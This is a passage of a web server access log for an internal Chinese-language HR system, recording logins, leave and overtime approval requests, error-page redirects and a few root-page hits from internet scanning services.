/eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:12:02:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:12:02:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:12:02:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:12:02:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:12:02:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:12:02:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:12:02:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:12:02:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:12:02:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:12:02:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:12:02:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:12:02:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 16664 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:12:02:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 16664 192.168.40.34 - - [03/Dec/2025:12:02:20 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 5129 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:12:02:20 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 5129 192.168.40.34 - - [03/Dec/2025:12:02:26 +0800] "GET /eHR/upload/userfile/60406255a63df596e2c6bac1e793c7b7.jpg? HTTP/1.1" 200 2431559 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:12:02:26 +0800] "GET /eHR/upload/userfile/60406255a63df596e2c6bac1e793c7b7.jpg? HTTP/1.1" 200 2431559 100.64.0.1 - - [03/Dec/2025:12:05:22 +0800] "GET / HTTP/1.0" 200 439 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 100.64.0.1 - - [03/Dec/2025:12:05:22 +0800] "GET / HTTP/1.0" 200 439 100.64.0.1 - - [03/Dec/2025:12:12:56 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; ModatScanner/1.2; +https://modat.io/)" 100.64.0.1 - - [03/Dec/2025:12:12:56 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:12:57:31 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:12:57:31 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0" 192.168.11.55 - - [03/Dec/2025:13:02:44 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [03/Dec/2025:13:02:44 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.11.55 - - [03/Dec/2025:13:02:45 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [03/Dec/2025:13:02:45 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.55 - - [03/Dec/2025:13:02:49 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [03/Dec/2025:13:02:49 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.55 - - [03/Dec/2025:13:02:53 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [03/Dec/2025:13:02:53 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.55 - - [03/Dec/2025:13:02:59 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [03/Dec/2025:13:02:59 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.55 - - [03/Dec/2025:13:03:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [03/Dec/2025:13:03:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.55 - - [03/Dec/2025:13:03:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [03/Dec/2025:13:03:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.55 - - [03/Dec/2025:13:03:38 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6184458877821339 HTTP/1.1" 200 8736 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [03/Dec/2025:13:03:38 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6184458877821339 HTTP/1.1" 200 8736 192.168.11.55 - - [03/Dec/2025:13:03:42 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6184458877821339 HTTP/1.1" 200 14154 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6184458877821339" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [03/Dec/2025:13:03:42 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6184458877821339 HTTP/1.1" 200 14154 192.168.11.55 - - [03/Dec/2025:13:03:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4192 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [03/Dec/2025:13:03:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4192 192.168.11.55 - - [03/Dec/2025:13:03:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [03/Dec/2025:13:03:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.55 - - [03/Dec/2025:13:03:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE000&appdesc=%E5%8A%A9%E7%90%86%E6%A1%8C%E9%9D%A2 HTTP/1.1" 200 3397 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [03/Dec/2025:13:03:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE000&appdesc=%E5%8A%A9%E7%90%86%E6%A1%8C%E9%9D%A2 HTTP/1.1" 200 3397 192.168.11.55 - - [03/Dec/2025:13:04:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [03/Dec/2025:13:04:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.55 - - [03/Dec/2025:13:04:22 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.15990221463795096 HTTP/1.1" 200 8736 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [03/Dec/2025:13:04:22 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.15990221463795096 HTTP/1.1" 200 8736 192.168.11.55 - - [03/Dec/2025:13:04:26 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.15990221463795096 HTTP/1.1" 200 14154 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.15990221463795096" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [03/Dec/2025:13:04:26 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.15990221463795096 HTTP/1.1" 200 14154 192.168.11.55 - - [03/Dec/2025:13:04:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [03/Dec/2025:13:04:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4264 192.168.11.55 - - [03/Dec/2025:13:04:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [03/Dec/2025:13:04:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.55 - - [03/Dec/2025:13:04:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE000&appdesc=%E5%8A%A9%E7%90%86%E6%A1%8C%E9%9D%A2 HTTP/1.1" 200 3397 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [03/Dec/2025:13:04:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE000&appdesc=%E5%8A%A9%E7%90%86%E6%A1%8C%E9%9D%A2 HTTP/1.1" 200 3397 192.168.11.55 - - [03/Dec/2025:13:04:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [03/Dec/2025:13:04:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.55 - - [03/Dec/2025:13:05:25 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.882340822061914 HTTP/1.1" 200 8736 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [03/Dec/2025:13:05:25 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.882340822061914 HTTP/1.1" 200 8736 192.168.11.55 - - [03/Dec/2025:13:05:29 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.882340822061914 HTTP/1.1" 200 14154 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.882340822061914" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [03/Dec/2025:13:05:29 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.882340822061914 HTTP/1.1" 200 14154 192.168.11.55 - - [03/Dec/2025:13:05:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4060 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [03/Dec/2025:13:05:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4060 192.168.11.55 - - [03/Dec/2025:13:05:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [03/Dec/2025:13:05:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 100.64.0.1 - - [03/Dec/2025:13:12:30 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0" 100.64.0.1 - - [03/Dec/2025:13:12:30 +0800] "GET / HTTP/1.1" 200 439 192.168.40.45 - - [03/Dec/2025:13:31:27 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [03/Dec/2025:13:31:27 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.45 - - [03/Dec/2025:13:31:31 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [03/Dec/2025:13:31:31 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.40.45 - - [03/Dec/2025:13:31:32 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [03/Dec/2025:13:31:32 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.40.45 - - [03/Dec/2025:13:31:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [03/Dec/2025:13:31:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 192.168.40.45 - - [03/Dec/2025:13:31:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12122 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [03/Dec/2025:13:31:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12122 192.168.40.45 - - [03/Dec/2025:13:31:43 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 3999 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [03/Dec/2025:13:31:43 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 3999 192.168.40.45 - - [03/Dec/2025:13:31:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10436 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [03/Dec/2025:13:31:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10436 192.168.40.45 - - [03/Dec/2025:13:31:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 86139 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [03/Dec/2025:13:31:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 86139 192.168.40.45 - - [03/Dec/2025:13:34:54 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [03/Dec/2025:13:34:54 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.40.45 - - [03/Dec/2025:13:34:55 +0800] "GET 